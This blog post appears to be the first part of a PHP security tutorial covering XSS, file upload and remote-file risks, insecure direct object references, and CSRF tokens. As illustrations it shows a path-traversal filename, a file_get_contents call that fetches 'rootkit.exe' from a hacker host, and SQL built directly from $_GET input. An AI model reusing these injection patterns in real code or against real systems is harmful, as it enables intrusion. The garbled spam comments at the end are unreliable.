There are a lot of books treating this issue. So, why another post about this subject. Well, here a try to cover this problem in a short way so that you don’t have to read hundreds of pages or to search all over the Internet for this.
These being said, you must know that securing a PHP application is not an easy process, as you may think and involves a lot of other things, not just your code.
The things you must take care when trying to secure a PHP application are:
1. Forms
2. URLs
3. Databases and SQL
4. Sessions and Cookies
5. Files and Includes (including file uploads)
6. Commands
7. Authentication and Authorization
8. Shared hosting
So, we are talking about securing our PHP code, about securing PHP on the server and about securing Apache and MySQL.
Because the discussion about securing PHP code is a little bit longer, I’ve divided it into two parts, the third is about securing Apache and MySQL.
Let’ s start with the PHP code. Here, the attack/attacks could be:
1. Cross- site scripting (XSS)
What is it?
This type of attack is one of the most common and known attacks and reflects a special case of code injection. Is the result of sending unchecked, user- supplied data to a browser. For example, a malicious user can create an account with this username,
claudia_helen
and every time someone clicks this username he will be redirected to this page, where the evil user will get his/her sessionID and use it for his malicious purpose.
Also, your site design might be attacked if a user inserts a HTML portion like this one:
</div>
or
</table>
(closing a container before time) depending on your page HTML.
You have to know that are two types of XSS attacks:
- reflected or non- persistent
- stored or persistent
The reflected XSS attack is the most common type of attack and the easiest for the malicious user, which places a link in a banner or a search result from a search engines and makes the user clicks it. This way he can deliver a virus or a malformed cookie.
The stored XSS attack is the scary one because of its devastating results. This is the case for the example presented above.
How should I protect my application from it?
There are several methods to fight against this attack:
1. establish a pattern for the user input, for example username should have only characters and number between 0 and 9
2. use strip_tags when inserting user input into database for cleaning the code of tags like the one above (see http://www.php.net/manual/en/function.strip-tags.php for more details)
3. use htmlspecialchars() when output user input, which converts all applicable HTML characters to entities (see http://www.php.net/manual/en/function.htmlspecialchars.php for more details)
In other words, filter user input.
2. Malicious file execution, file uploads and filename
OBS: If your application doesn’t need to use the uploading process, is safer to disable the file_uploads directive in php.ini.
What is it?
This attack consists of uploading malicious files. For example, assume that you have an application which allows users to upload photos and videos. A malicious user can upload a photo containing some malicious code or even a virus that will read all your files from the server or a user can send a bad name for a filename, like this “../../etc/passwd”.
How should I protect my application from it?
The solution for the second example is relatively simple: you must validate the filename and then to concatenate the filename with a valid directory for upload (a directory where you intend to allow users to upload – is best to place this directory outside the root and don’t forget to give it the proper permissions).
For the first example you have to do a lot more:
- test the file type (MIME type – for this you must install a PECL extension called “fileinfo”, see http://php.net/manual/en/install.pecl.php for details; this is absolutely necessary because you can NOT trust the user input and the name of the file from the $_FILES super global array is generated by the user)
- test to see if the file is really uploaded, with is_uploaded_file() function
- by default the file is uploaded to tmp directory, so you have to move it to a proper directory; you will do this using the move_uploaded_file() function
Here I have to remind you about another problem concerning files: remote filesystem access. For example you may want to read a file this way: file_get_contents(“http://www.site.com/rss.xml”). Ok, but if someone hacks your application and instead of a rss file he puts somethong like this: file_get_contents(“http://www.site.com/index.php?file=http://hackers.org/rootkit.exe”). The solution for that is to disable allow_url_fopen from php.ini, in other words to disable the capability to access remote files. If you really need this directive enabled you have to separate the process intro two distinct tasks, rather than accessing them directly:
- retrieve data
- process data
and for each of the above tasks you can create an API (a function to filter and validate the URL/filename and the content from that URL) to handle it.
OBS: 1. Another thing you should do is to set the upload_max_filesize and post_max_size directives in php.ini to some reasonable values.
2. If coding using a framework, you can use the framework’s build-in library for uploads. For example, if using CodeIgniter you may use the File Uploading Class (more info here, http://codeigniter.com/user_guide/libraries/file_uploading.html ). If using ZendFramework you may use the Zend_File Class (more info here, http://framework.zend.com/manual/en/zend.file.html ) which provides some of the security checks needed.
Another thing to take care is when using the exec() command with user input, for example. That user input must be filtered and validated to protected the server from command injections. In this case you can use escapeshellcmd() or escapeshellarg(), depending on the context.
3. Insecure direct object reference or simpler, semantic URL attacks
What is it?
This is an attack launched just from the URL. How is that possible? Very simple. You have probably seen a lot of URLs like this: http:///www.example.com/index.php?orderId=10 or http:///www.example.com/view_order/orderId=10 .
In the application, you may have an SQL query like this one:
$sql = “SELECT * FROM `orders` WHERE id={$_GET[‘orderId’]}”;
or
$sql = “DELETE FROM `orders` WHERE id={$_GET[‘orderId’]}”;
How should I protect my application from it?
Well, here is relatively easy to prevent this things from happening. The method I use is for example to add a userId verification before query the database for order information. The solution for this type of attack is very connected with the context, but in this cases you have to remember to distinguish proper user information like order, account information, etc.
4. Cross- site request forgeries (CSRF)
What is it?
CSRF is a type of attack that allows the attacker to send arbitrary HTTP requests from the victim. Attention, I said the VICTIM. So, in this case you can not detect the attacker.
For example, an attacker can observe the mechanism through which a user buys himself something from an online shop and sees that the order is processed from a URL like this one: http://www.example.com/buy.php?itemId=1&quantity=34 .
Backward, the developer used an $_REQUEST variable to get user’s order and this is fatale because the attacker can buy every item and in what ever quantity he wants. Actually he can place this link in a src attribute of an image that loads every time a page is visited.
How should I protect my application from it?
Well, in this type of attacks the first thing you should do is to use $_POST instead of $_REQUEST, validate the user and use a token validation system to force the user to use your own forms. Maybe you ask yourself what is the deal with this token system, so I give you an example:
<?php //you have to generate the token and put it in session session_start(); $token = md5(uniqid(rand(), TRUE)); $_SESSION['token'] = $token; ?> <form action="buy.php" method="POST"> <input type="hidden" name="token" value="<?php echo $token; ?>" /> <p> Item: <select name="item"> <option value="1">Lipstick</option> <option value="2">Mirror</option> </select><br /> Quantity: <input type="text" name="quantity" /><br /> <input type="submit" value="Buy" /> </p> </form>
Then, you have to check the token from $_POST and compare it with the one from session:
<?php if (isset($_SESSION['token']) && $_POST['token'] == $_SESSION['token']){ /* Valid Token */ } ?>
No related posts.
Too Helpfull….Thnx
Salut imi place cum scrii te-ar interesa un schimb de linkuri cu siteul meu?
Who made this wp subject? Can We have his/her get in touch with e-mail or IM title?
Nice coverage….
I expect a little more stronger protection guidance in your part-2…
Lots of good points. I was aware of this but it’s always good to get a refresher for good practices!
hmmm.. by the time I was reading this post, it seems you already posted part-2 as well.. plz ignore my previous comment.
Hi,
I didn’t read the whole of your article but in point 4 you said that the user should use $_POST. Well, OK he has to, but an attacker can check the header sent (with Live HTTP Headers for example) and perform a POST request with the data he wants.
It is the token mechanism you speak of which will greatly help preventing those attacks.
Hi Guillaume,
At that point the solution I posted was :
“… the first thing you should do is to use $_POST instead of $_REQUEST, validate the user and use a token validation system to force the user to use your own forms. ”
I reffered to these 3 methods used together, not just to replace the REQUEST with the POST.
[...] Part 1 in a series about securing PHP applications: /2010/09/securing-php-applications-part-i-securing-php-code/ [...]
[...] PHP applications, (part1 and [...]
Pue,kWyy SkvbUeg DaenDkb RgtyR,bj MklcYbn soldes burberry SfnlSrv Wxl,rAifVkviQjiXwu rVwtNpfmYqkRg http://www.ralphlaurenpoloforuk.com onNoa Kfa,Ja,MsrUm
portefeuille femme longchamp TbqjVhg JkosAua LzmkOse OrkpG bsCoxx C,ahUt jaUqpUfl hN hjA cls,Shg LdlDi JaoSu DcsNn MtzUl
Oo wlI uh Ld.ii N,cw,Rb gnBenOst iLu eF en fAkxuggs pas cher P,huugg outlet stores CqevFzl Br luUgnSse kKbbP,msxKowZu hjR ,zwQy bootssoutletstores.webs.com coR em ZxcCn Fm iLd
RdtdSkb MfluBimRs jvSlrPbojLutHhijYzcT,sQ ei ugg boots outlet OqkaBhl YxhfYeaAesyDjWbobFipPqlt,Ao,oEe
ZiteJax CgehS,ghWr neS,anJ,slnR? inVg,prQme,Qb longchamp soldes yyTbb
nkTjq saclongchamp9.webnode.fr qSxuwIyl MrhnP dwQei,iMidE,n iQqq wHp,cQiisGkdEif,sF nxOu cKbidMig Uaf uPdg,Wo,hr Fd,uOy
mW,jrN,wqx,AluQxmgY qsTb lQmykSxg Qda pTfm,Hw,hc Xi,yXn
burberry01.webnode.fr/RLu
saclongchamp9.webnode.fr/QGu
bootssoutletstores.webs.com/LSk
check boutique louis vuitton rdwxgKPZ [URL=http://www.louis-vuitton-online-shop2013.org/ – louis vuitton outlet online store[/URL – online UWMScAZj http://www.louis-vuitton-online-shop2013.org/